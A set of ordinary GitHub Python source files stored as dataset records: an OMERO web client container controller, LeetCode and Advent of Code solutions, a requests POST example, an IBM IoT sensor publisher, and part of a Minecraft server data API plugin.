sort_tags(self.screen.listOrphanedAnnotations(\n eid=eid, anntype='Tag'))\n elif self.acquisition is not None:\n return sort_tags(self.acquisition.listOrphanedAnnotations(\n eid=eid, anntype='Tag'))\n elif parent_type and parent_ids:\n parent_type = parent_type.title()\n if parent_type == \"Acquisition\":\n parent_type = \"PlateAcquisition\"\n return sort_tags(self.conn.listOrphanedAnnotations(\n parent_type, parent_ids, eid=eid, anntype='Tag'))\n else:\n if eid is not None:\n params = omero.sys.Parameters()\n params.theFilter = omero.sys.Filter()\n params.theFilter.ownerId = omero.rtypes.rlong(eid)\n return sort_tags(\n self.conn.getObjects(\"TagAnnotation\", params=params))\n return sort_tags(self.conn.getObjects(\"TagAnnotation\"))\n\n def getFilesByObject(self, parent_type=None, parent_ids=None):\n eid = ((not self.canUseOthersAnns()) and\n self.conn.getEventContext().userId or None)\n ns = [omero.constants.namespaces.NSCOMPANIONFILE,\n omero.constants.namespaces.NSEXPERIMENTERPHOTO]\n\n def sort_file_anns(file_ann_gen):\n file_anns = list(file_ann_gen)\n try:\n file_anns.sort(key=lambda x: x.getFile().getName().lower())\n except:\n pass\n return file_anns\n\n if self.image is not None:\n return sort_file_anns(self.image.listOrphanedAnnotations(\n eid=eid, ns=ns, anntype='File'))\n elif self.dataset is not None:\n return sort_file_anns(self.dataset.listOrphanedAnnotations(\n eid=eid, ns=ns, anntype='File'))\n elif self.project is not None:\n return sort_file_anns(self.project.listOrphanedAnnotations(\n eid=eid, ns=ns, anntype='File'))\n elif self.well is not None:\n return sort_file_anns(\n self.well.getWellSample().image().listOrphanedAnnotations(\n eid=eid, ns=ns, anntype='File'))\n elif self.plate is not None:\n return sort_file_anns(self.plate.listOrphanedAnnotations(\n eid=eid, ns=ns, anntype='File'))\n elif self.screen is not None:\n return sort_file_anns(self.screen.listOrphanedAnnotations(\n eid=eid, ns=ns, anntype='File'))\n elif self.acquisition is not None:\n return sort_file_anns(self.acquisition.listOrphanedAnnotations(\n eid=eid, ns=ns, anntype='File'))\n elif parent_type and parent_ids:\n parent_type = parent_type.title()\n if parent_type == \"Acquisition\":\n parent_type = \"PlateAcquisition\"\n return sort_file_anns(self.conn.listOrphanedAnnotations(\n parent_type, parent_ids, eid=eid, ns=ns, anntype='File'))\n else:\n return sort_file_anns(self.conn.listFileAnnotations(eid=eid))\n ####################################################################\n # Creation\n\n def createDataset(self, name, description=None, img_ids=None):\n dsId = self.conn.createDataset(name, description, img_ids)\n if self.project is not None:\n l_ds = omero.model.ProjectDatasetLinkI()\n l_ds.setParent(self.project._obj)\n l_ds.setChild(omero.model.DatasetI(dsId, False))\n # ds.addProjectDatasetLink(l_ds)\n self.conn.saveAndReturnId(l_ds)\n return dsId\n\n def createProject(self, name, description=None):\n return self.conn.createProject(name, description)\n\n def createScreen(self, name, description=None):\n return self.conn.createScreen(name, description)\n\n def checkMimetype(self, file_type):\n if file_type is None or len(file_type) == 0:\n file_type = \"application/octet-stream\"\n return file_type\n\n def createCommentAnnotations(self, content, oids, well_index=0):\n ann = omero.model.CommentAnnotationI()\n ann.textValue = rstring(str(content))\n ann = self.conn.saveAndReturnObject(ann)\n\n new_links = list()\n for k in oids.keys():\n if len(oids[k]) > 0:\n for ob in oids[k]:\n if isinstance(ob._obj, omero.model.WellI):\n t = 'Image'\n obj = ob.getWellSample(well_index).image()\n elif isinstance(ob._obj, omero.model.PlateAcquisitionI):\n t = 'PlateAcquisition'\n obj = ob\n else:\n t = k.lower().title()\n obj = ob\n l_ann = getattr(omero.model, t+\"AnnotationLinkI\")()\n l_ann.setParent(obj._obj)\n l_ann.setChild(ann._obj)\n new_links.append(l_ann)\n\n if len(new_links) > 0:\n self.conn.saveArray(new_links)\n return self.conn.getObject(\"CommentAnnotation\", ann.getId())\n\n def createTagAnnotations(self, tag, desc, oids, well_index=0,\n tag_group_id=None):\n \"\"\"\n Creates a new tag (with description) OR uses existing tag with the\n specified name if found.\n Links the tag to the specified objects.\n @param tag: Tag text/name\n @param desc: Tag description\n @param oids: Dict of Objects and IDs. E.g. {\"Image\": [1,2,3],\n \"Dataset\", [6]}\n \"\"\"\n ann = None\n try:\n ann = self.conn.findTag(tag, desc)\n except:\n pass\n if ann is None:\n ann = omero.model.TagAnnotationI()\n ann.textValue = rstring(tag.encode('utf8'))\n ann.setDescription(rstring(desc.encode('utf8')))\n ann = self.conn.saveAndReturnObject(ann)\n if tag_group_id: # Put new tag in given tag set\n tag_group = None\n try:\n tag_group = self.conn.getObject(\n 'TagAnnotation', tag_group_id)\n except:\n pass\n if tag_group is not None:\n link = omero.model.AnnotationAnnotationLinkI()\n link.parent = tag_group._obj\n link.child = ann._obj\n self.conn.saveObject(link)\n\n new_links = list()\n parent_objs = []\n for k in oids:\n if len(oids[k]) > 0:\n for ob in oids[k]:\n if isinstance(ob._obj, omero.model.WellI):\n t = 'Image'\n obj = ob.getWellSample(well_index).image()\n elif isinstance(ob._obj, omero.model.PlateAcquisitionI):\n t = 'PlateAcquisition'\n obj = ob\n else:\n t = k.lower().title()\n obj = ob\n parent_objs.append(obj)\n l_ann = getattr(omero.model, t+\"AnnotationLinkI\")()\n l_ann.setParent(obj._obj)\n l_ann.setChild(ann._obj)\n new_links.append(l_ann)\n\n if len(new_links) > 0:\n # If we retrieved an existing Tag above, link may already exist...\n try:\n self.conn.saveArray(new_links)\n except omero.ValidationException:\n for l in new_links:\n try:\n self.conn.saveObject(l)\n except:\n pass\n return ann.getId()\n\n def createFileAnnotations(self, newFile, oids, well_index=0):\n format = self.checkMimetype(newFile.content_type)\n\n oFile = omero.model.OriginalFileI()\n oFile.setName(rstring(smart_str(newFile.name)))\n oFile.setPath(rstring(smart_str(newFile.name)))\n oFile.hasher = omero.model.ChecksumAlgorithmI()\n oFile.hasher.value = omero.rtypes.rstring(\"SHA1-160\")\n oFile.setMimetype(rstring(str(format)))\n\n ofid = self.conn.saveAndReturnId(oFile)\n of = self.conn.saveAndReturnFile(newFile, ofid)\n\n fa = omero.model.FileAnnotationI()\n fa.setFile(of)\n fa = self.conn.saveAndReturnObject(fa)\n\n new_links = list()\n for k in oids:\n if len(oids[k]) > 0:\n for ob in oids[k]:\n if isinstance(ob._obj, omero.model.WellI):\n t = 'Image'\n obj = ob.getWellSample(well_index).image()\n elif isinstance(ob._obj, omero.model.PlateAcquisitionI):\n t = 'PlateAcquisition'\n obj = ob\n else:\n t = k.lower().title()\n obj = ob\n l_ann = getattr(omero.model, t+\"AnnotationLinkI\")()\n l_ann.setParent(obj._obj)\n l_ann.setChild(fa._obj)\n new_links.append(l_ann)\n if len(new_links) > 0:\n new_links = self.conn.getUpdateService().saveAndReturnArray(\n new_links, self.conn.SERVICE_OPTS)\n return fa.getId()\n\n def createAnnotationsLinks(self, atype, tids, oids, well_index=0):\n \"\"\"\n Links existing annotations to 1 or more objects\n\n @param atype: Annotation type E.g. \"tag\", \"file\"\n @param tids: Annotation IDs\n @param oids: Dict of Objects and IDs. E.g. {\"Image\": [1,2,3],\n \"Dataset\", [6]}\n \"\"\"\n atype = str(atype).lower()\n if not atype.lower() in (\"tag\", \"comment\", \"file\"):\n raise AttributeError(\"Object type must be: tag, comment, file.\")\n\n new_links = list()\n annotations = list(self.conn.getObjects(\"Annotation\", tids))\n parent_objs = []\n for k in oids:\n if len(oids[k]) > 0:\n if k.lower() == 'acquisition':\n parent_type = 'PlateAcquisition'\n else:\n parent_type = k.lower().title()\n parent_ids = [o.id for o in oids[k]]\n # check for existing links belonging to Current user\n params = omero.sys.Parameters()\n params.theFilter = omero.sys.Filter()\n params.theFilter.ownerId = rlong(self.conn.getUserId())\n links = self.conn.getAnnotationLinks(\n parent_type, parent_ids=parent_ids, ann_ids=tids,\n params=params)\n pcLinks = [(l.parent.id.val, l.child.id.val) for l in links]\n # Create link between each object and annotation\n for ob in self.conn.getObjects(parent_type, parent_ids):\n parent_objs.append(ob)\n for a in annotations:\n if (ob.id, a.id) in pcLinks:\n continue # link already exists\n if isinstance(ob._obj, omero.model.WellI):\n parent_type = 'Image'\n obj = ob.getWellSample(well_index).image()\n else:\n obj = ob\n l_ann = getattr(\n omero.model, parent_type+\"AnnotationLinkI\")()\n l_ann.setParent(obj._obj)\n l_ann.setChild(a._obj)\n new_links.append(l_ann)\n failed = 0\n saved_links = []\n try:\n # will fail if any of the links already exist\n saved_links = self.conn.getUpdateService().saveAndReturnArray(\n new_links, self.conn.SERVICE_OPTS)\n except omero.ValidationException:\n for l in new_links:\n try:\n saved_links.append(\n self.conn.getUpdateService().saveAndReturnObject(\n l, self.conn.SERVICE_OPTS))\n except:\n failed += 1\n\n return tids\n\n ################################################################\n # Update\n\n def updateDescription(self, o_type, description=None):\n obj = getattr(self, o_type)._obj\n if description is not None and description != \"\":\n obj.description = rstring(str(description))\n else:\n obj.description = None\n self.conn.saveObject(obj)\n\n def updateName(self, o_type, name):\n obj = getattr(self, o_type)._obj\n if o_type not in ('tag', 'tagset'):\n obj.name = rstring(str(name))\n else:\n obj.textValue = rstring(str(name))\n self.conn.saveObject(obj)\n\n def updateImage(self, name, description=None):\n img = self.image._obj\n img.name = rstring(str(name))\n if description is not None and description != \"\":\n img.description = rstring(str(description))\n else:\n img.description = None\n self.conn.saveObject(img)\n\n def updateDataset(self, name, description=None):\n container = self.dataset._obj\n container.name = rstring(str(name))\n if description is not None and description != \"\":\n container.description = rstring(str(description))\n else:\n container.description = None\n self.conn.saveObject(container)\n\n def updatePlate(self, name, description=None):\n container = self.plate._obj\n container.name = rstring(str(name))\n if description is not None and description != \"\":\n container.description = rstring(str(description))\n else:\n container.description = None\n self.conn.saveObject(container)\n\n def updateProject(self, name, description=None):\n container = self.project._obj\n container.name = rstring(str(name))\n if description is not None and description != \"\":\n container.description = rstring(str(description))\n else:\n container.description = None\n self.conn.saveObject(container)\n\n def updateScreen(self, name, description=None):\n container = self.screen._obj\n container.name = rstring(str(name))\n if description is not None and description != \"\":\n container.description = rstring(str(description))\n else:\n container.description = None\n self.conn.saveObject(container)\n\n def move(self, parent, destination):\n if self.project is not None:\n return 'Cannot move project.'\n elif self.dataset is not None:\n if destination[0] == 'dataset':\n return 'Cannot move dataset to dataset'\n elif destination[0] == 'project':\n up_pdl = None\n pdls = self.dataset.getParentLinks()\n already_there = None\n\n for pdl in pdls:\n if pdl.parent.id.val == long(destination[1]):\n already_there = True\n if pdl.parent.id.val == long(parent[1]):\n up_pdl = pdl\n if already_there:\n if long(parent[1]) != long(destination[1]):\n self.conn.deleteObjectDirect(up_pdl._obj)\n else:\n new_pr = self.conn.getObject(\"Project\", destination[1])\n if parent[0] not in ('experimenter', 'orphaned'):\n up_pdl.setParent(new_pr._obj)\n self.conn.saveObject(up_pdl._obj)\n else:\n up_pdl = omero.model.ProjectDatasetLinkI()\n up_pdl.setChild(self.dataset._obj)\n up_pdl.setParent(new_pr._obj)\n self.conn.saveObject(up_pdl)\n elif destination[0] == 'experimenter':\n up_pdl = None\n for p in self.dataset.getParentLinks():\n if p.parent.id.val == long(parent[1]):\n up_pdl = p\n self.conn.deleteObjectDirect(up_pdl._obj)\n elif destination[0] == 'orphaned':\n return ('Cannot move dataset to %s.' %\n self.conn.getOrphanedContainerSettings()[1])\n else:\n return 'Destination not supported.'\n elif self.image is not None:\n if destination[0] == 'dataset':\n up_dsl = None\n # gets every links for child\n dsls = self.image.getParentLinks()\n already_there = None\n\n # checks links\n for dsl in dsls:\n # if is already linked to destination\n if dsl.parent.id.val == long(destination[1]):\n already_there = True\n # gets old parent to update or delete\n if dsl.parent.id.val == long(parent[1]):\n up_dsl = dsl\n if already_there:\n # delete link to not duplicate\n if long(parent[1]) != long(destination[1]):\n self.conn.deleteObjectDirect(up_dsl._obj)\n else:\n # update link to new destination\n new_ds = self.conn.getObject(\"Dataset\", destination[1])\n if parent[0] not in ('experimenter', 'orphaned'):\n up_dsl.setParent(new_ds._obj)\n self.conn.saveObject(up_dsl._obj)\n else:\n up_dsl = omero.model.DatasetImageLinkI()\n up_dsl.setChild(self.image._obj)\n up_dsl.setParent(new_ds._obj)\n self.conn.saveObject(up_dsl)\n elif destination[0] == 'project':\n return 'Cannot move image to project.'\n elif (destination[0] == 'experimenter' or\n destination[0] == 'orphaned'):\n if parent[0] != destination[0]:\n up_dsl = None\n # gets every links for child\n dsls = list(self.image.getParentLinks())\n if len(dsls) == 1:\n # gets old parent to delete\n if dsls[0].parent.id.val == long(parent[1]):\n up_dsl = dsls[0]\n self.conn.deleteObjectDirect(up_dsl._obj)\n else:\n return ('This image is linked in multiple places.'\n ' Please unlink the image first.')\n else:\n return 'Destination not supported.'\n elif self.screen is not None:\n return 'Cannot move screen.'\n elif self.plate is not None:\n if destination[0] == 'plate':\n return 'Cannot move plate to plate'\n elif destination[0] == 'screen':\n up_spl = None\n spls = self.plate.getParentLinks()\n already_there = None\n\n for spl in spls:\n if spl.parent.id.val == long(destination[1]):\n already_there = True\n if spl.parent.id.val == long(parent[1]):\n up_spl = spl\n if already_there:\n if long(parent[1]) != long(destination[1]):\n self.conn.deleteObjectDirect(up_spl._obj)\n else:\n new_sc = self.conn.getObject(\"Screen\", destination[1])\n if parent[0] not in ('experimenter', 'orphaned'):\n up_spl.setParent(new_sc._obj)\n self.conn.saveObject(up_spl._obj)\n else:\n up_spl = omero.model.ScreenPlateLinkI()\n up_spl.setChild(self.plate._obj)\n up_spl.setParent(new_sc._obj)\n self.conn.saveObject(up_spl)\n elif (destination[0] == 'experimenter' or\n destination[0] == 'orphaned'):\n if parent[0] != destination[0]:\n up_spl = None\n # gets every links for child\n spls = list(self.plate.getParentLinks())\n for spl in spls:\n if spl.parent.id.val == long(parent[1]):\n self.conn.deleteObjectDirect(spl._obj)\n break\n else:\n return 'Destination not supported.'\n else:\n return 'No data was choosen.'\n return\n\n def remove(self, parents, index, tag_owner_id=None):\n \"\"\"\n Removes the current object (file, tag, comment, dataset, plate, image)\n from its parents by manually deleting the link.\n For Comments, we check whether it becomes an orphan & delete if true\n If self.tag and owner_id is specified, only remove the tag if it is\n owned by that owner\n\n @param parents: List of parent IDs, E.g. ['image-123']\n \"\"\"\n for p in parents:\n parent = p.split('-')\n dtype = str(parent[0])\n parentId = long(parent[1])\n if dtype == \"acquisition\":\n dtype = \"PlateAcquisition\"\n if dtype == \"well\":\n dtype = \"Image\"\n w = self.conn.getObject(\"Well\", parentId)\n parentId = w.getWellSample(index=index).image().getId()\n if self.tag:\n for al in self.tag.getParentLinks(dtype, [parentId]):\n if (al is not None and al.canDelete() and (\n tag_owner_id is None or\n unwrap(al.details.owner.id) == tag_owner_id)):\n self.conn.deleteObjectDirect(al._obj)\n elif self.file:\n for al in self.file.getParentLinks(dtype, [parentId]):\n if al is not None and al.canDelete():\n self.conn.deleteObjectDirect(al._obj)\n elif self.comment:\n # remove the comment from specified parent\n for al in self.comment.getParentLinks(dtype, [parentId]):\n if al is not None and al.canDelete():\n self.conn.deleteObjectDirect(al._obj)\n # if comment is orphan, delete it directly\n orphan = True\n\n # Use delete Dry Run...\n cid = self.comment.getId()\n command = Delete2(targetObjects={\"CommentAnnotation\": [cid]},\n dryRun=True)\n cb = self.conn.c.submit(command)\n # ...to check for any remaining links\n rsp = cb.getResponse()\n cb.close(True)\n for parentType in [\"Project\", \"Dataset\", \"Image\", \"Screen\",\n \"Plate\", \"PlateAcquisition\", \"Well\"]:\n key = 'ome.model.annotations.%sAnnotationLink' % parentType\n if key in rsp.deletedObjects:\n orphan = False\n break\n if orphan:\n self.conn.deleteObjectDirect(self.comment._obj)\n\n elif self.dataset is not None:\n if dtype == 'project':\n for pdl in self.dataset.getParentLinks([parentId]):\n if pdl is not None:\n self.conn.deleteObjectDirect(pdl._obj)\n elif self.plate is not None:\n if dtype == 'screen':\n for spl in self.plate.getParentLinks([parentId]):\n if spl is not None:\n self.conn.deleteObjectDirect(spl._obj)\n elif self.image is not None:\n if dtype == 'dataset':\n for dil in self.image.getParentLinks([parentId]):\n if dil is not None:\n self.conn.deleteObjectDirect(dil._obj)\n else:\n raise AttributeError(\n \"Attribute not specified. Cannot be removed.\")\n\n def removemany(self, images):\n if self.dataset is not None:\n dil = self.dataset.getParentLinks('image', images)\n if dil is not None:\n self.conn.deleteObjectDirect(dil._obj)\n else:\n raise AttributeError(\n \"Attribute not specified. Cannot be removed.\")\n\n ##########################################################\n # Copy\n\n def paste(self, destination):\n if self.project is not None:\n return 'Cannot paste project.'\n elif self.dataset is not None:\n if destination[0] == 'dataset':\n return 'Cannot paste dataset to dataset'\n elif destination[0] == 'project':\n pdls = self.dataset.getParentLinks()\n already_there = None\n\n for pdl in pdls:\n if pdl.parent.id.val == long(destination[1]):\n already_there = True\n if already_there:\n return 'Dataset is already there.'\n else:\n new_pr = self.conn.getObject(\"Project\", destination[1])\n up_pdl = omero.model.ProjectDatasetLinkI()\n up_pdl.setChild(self.dataset._obj)\n up_pdl.setParent(new_pr._obj)\n self.conn.saveObject(up_pdl)\n else:\n return 'Destination not supported.'\n elif self.image is not None:\n if destination[0] == 'dataset':\n # gets every links for child\n dsls = self.image.getParentLinks()\n already_there = None\n\n # checks links\n for dsl in dsls:\n # if is already linked to destination\n if dsl.parent.id.val == long(destination[1]):\n already_there = True\n if already_there:\n return 'Image is already there.'\n else:\n # update link to new destination\n new_ds = self.conn.getObject(\"Dataset\", destination[1])\n up_dsl = omero.model.DatasetImageLinkI()\n up_dsl.setChild(self.image._obj)\n up_dsl.setParent(new_ds._obj)\n self.conn.saveObject(up_dsl)\n elif destination[0] == 'project':\n return 'Cannot copy image to project.'\n else:\n return 'Destination not supported.'\n elif self.screen is not None:\n return 'Cannot paste screen.'\n elif self.plate is not None:\n if destination[0] == 'plate':\n return 'Cannot move plate to plate'\n elif destination[0] == 'screen':\n spls = self.plate.getParentLinks()\n already_there = None\n\n for spl in spls:\n if spl.parent.id.val == long(destination[1]):\n already_there = True\n if already_there:\n return 'Plate is already there.'\n else:\n new_sc = self.conn.getObject(\"Screen\", destination[1])\n up_spl = omero.model.ScreenPlateLinkI()\n up_spl.setChild(self.plate._obj)\n up_spl.setParent(new_sc._obj)\n self.conn.saveObject(up_spl)\n else:\n return 'Destination not supported.'\n else:\n return 'No data was choosen.'\n\n def copyImageToDataset(self, source, destination=None):\n if destination is None:\n # gets every links for child\n dsls = self.conn.getDatasetImageLinks(source[1])\n for dsl in dsls:\n self.conn.deleteObjectDirect(dsl._obj)\n else:\n im = self.conn.getObject(\"Image\", source[1])\n ds = self.conn.getObject(\"Dataset\", destination[1])\n new_dsl = omero.model.DatasetImageLinkI()\n new_dsl.setChild(im._obj)\n new_dsl.setParent(ds._obj)\n self.conn.saveObject(new_dsl)\n\n def copyImagesToDataset(self, images, dataset):\n if dataset is not None and dataset[0] is not \"dataset\":\n ims = self.conn.getObjects(\"Image\", images)\n ds = self.conn.getObject(\"Dataset\", dataset[1])\n link_array = list()\n for im in ims:\n new_dsl = omero.model.DatasetImageLinkI()\n new_dsl.setChild(im._obj)\n new_dsl.setParent(ds._obj)\n link_array.append(new_dsl)\n self.conn.saveArray(link_array)\n raise AttributeError(\"Destination not supported\")\n\n def copyDatasetToProject(self, source, destination=None):\n if destination is not None and destination[0] is not \"project\":\n ds = self.conn.getObject(\"Dataset\", source[1])\n pr = self.conn.getObject(\"Project\", destination[1])\n new_pdl = omero.model.ProjectDatasetLinkI()\n new_pdl.setChild(ds._obj)\n new_pdl.setParent(pr._obj)\n self.conn.saveObject(new_pdl)\n raise AttributeError(\"Destination not supported\")\n\n def copyDatasetsToProject(self, datasets, project):\n if project is not None and project[0] is not \"project\":\n dss = self.conn.getObjects(\"Dataset\", datasets)\n pr = self.conn.getObject(\"Project\", project[1])\n link_array = list()\n for ds in dss:\n new_pdl = omero.model.ProjectDatasetLinkI()\n new_pdl.setChild(ds._obj)\n new_pdl.setParent(pr._obj)\n link_array.append(new_pdl)\n self.conn.saveArray(link_array)\n raise AttributeError(\"Destination not supported\")\n\n def copyPlateToScreen(self, source, destination=None):\n if destination is not None and destination[0] is not \"screen\":\n pl = self.conn.getObject(\"Plate\", source[1])\n sc = self.conn.getObject(\"Screen\", destination[1])\n new_spl = omero.model.ScreenPlateLinkI()\n new_spl.setChild(pl._obj)\n new_spl.setParent(sc._obj)\n self.conn.saveObject(new_spl)\n raise AttributeError(\"Destination not supported\")\n\n def copyPlatesToScreen(self, plates, screen):\n if screen is not None and screen[0] is not \"screen\":\n pls = self.conn.getObjects(\"Plate\", plates)\n sc = self.conn.getObject(\"Screen\", screen[1])\n link_array = list()\n for pl in pls:\n new_spl = omero.model.ScreenPlateLinkI()\n new_spl.setChild(pl._obj)\n new_spl.setParent(sc._obj)\n link_array.append(new_spl)\n self.conn.saveArray(link_array)\n raise AttributeError(\"Destination not supported\")\n\n ##########################################################\n # Delete\n\n def deleteItem(self, child=False, anns=False):\n handle = None\n if self.image:\n handle = self.conn.deleteObjects(\n \"Image\", [self.image.id], deleteAnns=anns)\n elif self.dataset:\n handle = self.conn.deleteObjects(\n \"Dataset\", [self.dataset.id], deleteChildren=child,\n deleteAnns=anns)\n elif self.project:\n handle = self.conn.deleteObjects(\n \"Project\", [self.project.id], deleteChildren=child,\n deleteAnns=anns)\n elif self.screen:\n handle = self.conn.deleteObjects(\n \"Screen\", [self.screen.id], deleteChildren=child,\n deleteAnns=anns)\n elif self.plate:\n handle = self.conn.deleteObjects(\n \"Plate\", [self.plate.id], deleteChildren=True,\n deleteAnns=anns)\n elif self.comment:\n handle = self.conn.deleteObjects(\n \"Annotation\", [self.comment.id], deleteAnns=anns)\n elif self.tag:\n handle = self.conn.deleteObjects(\n \"Annotation\", [self.tag.id], deleteAnns=anns)\n elif self.file:\n handle = self.conn.deleteObjects(\n \"Annotation\", [self.file.id], deleteAnns=anns)\n return handle\n\n def deleteObjects(self, otype, ids, child=False, anns=False):\n return self.conn.deleteObjects(\n otype, ids, deleteChildren=child, deleteAnns=anns)\n","repo_name":"joansmith2/openmicroscopy","sub_path":"components/tools/OmeroWeb/omeroweb/webclient/controller/container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":61817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"2968100681","text":"class Solution:\n def maxPoints(self, points) -> int:\n point_matrix = [0] * len(points[0])\n\n for i in range(len(points)):\n new_pm = point_matrix[:]\n for j in range(1, len(points[i])):\n new_pm[j] = max(new_pm[j-1] - 1, new_pm[j])\n for j in range(len(points[i]) - 2, -1, -1):\n new_pm[j] = max(new_pm[j+1] - 1, new_pm[j])\n point_matrix = [points[i][j] + new_pm[j] for j in range(len(points[i]))]\n\n return max(point_matrix)\n\nsol = Solution()\nprint(sol.maxPoints([[0,3,0,4,2],[5,4,2,4,1],[5,0,0,5,1],[2,0,1,0,3]]))","repo_name":"Lagrant/Leetcode","sub_path":"google/MaxNumOfPointsWithCost.py","file_name":"MaxNumOfPointsWithCost.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"43295598834","text":"from os.path import dirname, join\r\n\r\ndef main(part):\r\n current_dir = dirname(__file__)\r\n file_path = join(current_dir, \"input.txt\")\r\n with open(file_path, 'r') as file:\r\n input = file.read()\r\n\r\n items = [[],[],[],[],[],[],[],[]]\r\n count = [0,0,0,0,0,0,0,0]\r\n ops = []\r\n amounts = []\r\n test_nums = []\r\n true_monkeys = []\r\n false_monkeys = []\r\n monkey_lines = input.split(\"\\n\\n\")\r\n for i in range(len(monkey_lines)):\r\n start_nums = monkey_lines[i].split(\"\\n\")[1].strip().split(\":\")[1].split(\",\")\r\n ops.append(monkey_lines[i].split(\"\\n\")[2].strip().split()[4])\r\n amounts.append(monkey_lines[i].split(\"\\n\")[2].strip().split()[-1])\r\n test_nums.append(int(monkey_lines[i].split(\"\\n\")[3].strip().split()[-1]))\r\n true_monkeys.append(int(monkey_lines[i].split(\"\\n\")[4].strip().split()[-1]))\r\n false_monkeys.append(int(monkey_lines[i].split(\"\\n\")[5].strip().split()[-1]))\r\n for num in start_nums:\r\n items[i].append(int(num))\r\n\r\n if part == 1:\r\n x = 20\r\n else:\r\n x = 10000\r\n mod = 1\r\n for num in test_nums:\r\n mod *= num\r\n\r\n for _ in range(x):\r\n for i in range(len(monkey_lines)):\r\n for j in range(len(items[i])):\r\n count[i] += 1\r\n worry = items[i][j]\r\n operation = ops[i]\r\n amount = amounts[i]\r\n if amount == \"old\":\r\n amount = worry\r\n else:\r\n amount = int(amount)\r\n if operation == \"*\":\r\n worry *= amount\r\n else:\r\n worry += amount\r\n if part == 1:\r\n worry = worry // 3\r\n else:\r\n worry = worry % mod\r\n test_num = test_nums[i]\r\n true_monkey = true_monkeys[i]\r\n false_monkey = false_monkeys[i]\r\n if worry % test_num == 0:\r\n items[true_monkey].append(worry)\r\n else:\r\n items[false_monkey].append(worry)\r\n items[i].clear()\r\n count.sort()\r\n print(count[-1] * count[-2])\r\n\r\nif __name__ == '__main__':\r\n main(1)\r\n main(2)","repo_name":"AlexSpeedruns/Advent_Of_Code_2022","sub_path":"Day 11/day11.py","file_name":"day11.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"8759732637","text":"import requests\n\nurl='https://jsonplaceholder.typicode.com/posts'\n\n# response = requests.get(url)\n# print(response.json())\n\ndata={\n \"title\": \"test\",\n \"body\": \"test body\",\n \"userId\": 12\n}\nheaders = {\"Content-Type\": \"application/json; charset=utf-8\"}\n\nresponse = requests.post(url, headers=headers, json=data)\n\nprint(response.json())\n","repo_name":"moeezs82/100-daysPython","sub_path":"day89-requestModule/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"33854527266","text":"import time\nimport random\nimport wiotp.sdk.device\nmyConfig = {\n \"identity\": {\n \"orgId\": \"hj5fmy\",\n \"typeId\": \"NodeMCU\",\n \"deviceId\":\"12345\"\n },\n \"auth\": {\n \"token\": \"12345678\"\n }\n}\n\ndef command_callback(cmd):\n message = cmd.data['command']\n print(\"Message received from IBM IoT Platform: \" + message)\nclient = wiotp.sdk.device.DeviceClient(config=myConfig, logHandlers=None)\nclient.connect()\n\nwhile True:\n temp=random.randint(-20,125)\n hum=random.randint(0,100)\n myData={'temperature':temp, 'humidity':hum}\n client.publishEvent(eventId=\"status\", msgFormat=\"json\", data=myData, qos=0, onPublish=None)\n print(\"Published data Successfully: %s\", myData)\n client.commandCallback = command_callback\n time.sleep(2)\nclient.disconnect()\n","repo_name":"sandeepdoodigani/PythonGitActions","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"13417360037","text":"import collections\nfrom typing import Optional, Union, Tuple, List\n\nfrom mcdreforged.api.all import *\n\nfrom minecraft_data_api.player_data_getter import PlayerDataGetter\nfrom minecraft_data_api.server_data_getter import ServerDataGetter\n\nDEFAULT_TIME_OUT = 5 # seconds\nCoordinate = collections.namedtuple('Coordinate', 'x y z')\nplayer_data_getter = None # type: Optional[PlayerDataGetter]\nserver_data_getter = None # type: Optional[ServerDataGetter]\n\n\ndef on_load(server, prev):\n\tglobal player_data_getter, server_data_getter\n\tplayer_data_getter = PlayerDataGetter(server)\n\tserver_data_getter = ServerDataGetter(server)\n\n\tif hasattr(prev, 'player_data_getter'):\n\t\tplayer_data_getter.queue_lock = prev.player_data_getter.queue_lock\n\t\tplayer_data_getter.work_queue = prev.player_data_getter.work_queue\n\tif hasattr(prev, 'server_data_getter'):\n\t\tserver_data_getter.player_list = prev.server_data_getter.player_list\n\n\ndef on_info(server, info):\n\tplayer_data_getter.on_info(info)\n\tserver_data_getter.on_info(info)\n\n\n# ------------------\n# API Interfaces\n# ------------------\n\n\ndef convert_minecraft_json(text: str):\n\t\"\"\"\n\tConvert a mojang style \"json\" str to a json like object\n\t:param text: The name of the player\n\t\"\"\"\n\treturn player_data_getter.json_parser.convert_minecraft_json(text)\n\n\ndef get_player_info(player: str, data_path: str = '', *, timeout: Optional[float] = None):\n\t\"\"\"\n\tGet information from a player\n\tIt's required to be executed in a separated thread. It can not be invoked on the task executor thread of MCDR\n\t:param player: The name of the player\n\t:param data_path: Optional, the data nbt path you want to query\n\t:param timeout: The timeout limit for querying\n\t:return: A parsed json like object contains the information. e.g. a dict\n\t\"\"\"\n\tif timeout is None:\n\t\ttimeout = DEFAULT_TIME_OUT\n\treturn player_data_getter.get_player_info(player, data_path, timeout)\n\n\ndef get_player_coordinate(player: str, *, timeout: Optional[float] = None) -> Coordinate:\n\t\"\"\"\n\tReturn the coordinate of a player\n\tThe return value is a tuple with 3 elements (x, y, z). Each element is a float\n\tThe return value is also a namedtuple, you can use coord.x, coord.y, coord.z to access the value\n\t\"\"\"\n\tpos = get_player_info(player, 'Pos', timeout=timeout)\n\tif pos is None:\n\t\traise ValueError('Fail to query the coordinate of player {}'.format(player))\n\treturn Coordinate(x=float(pos[0]), y=float(pos[1]), z=float(pos[2]))\n\n\ndef get_player_dimension(player: str, *, timeout: Optional[float] = None) -> Union[int or str]:\n\t\"\"\"\n\tReturn the dimension of a player and return an int representing the dimension. Compatible with MC 1.16\n\tIf the dim result is a str, the server should be in 1.16, and it will convert the dimension name into the old integer\n\tformat if the dimension is overworld, nether or the end. Otherwise the origin dimension name str is returned\n\t\"\"\"\n\tdim_convert = {\n\t\t'minecraft:overworld': 0,\n\t\t'minecraft:the_nether': -1,\n\t\t'minecraft:the_end': 1\n\t}\n\tdim = get_player_info(player, 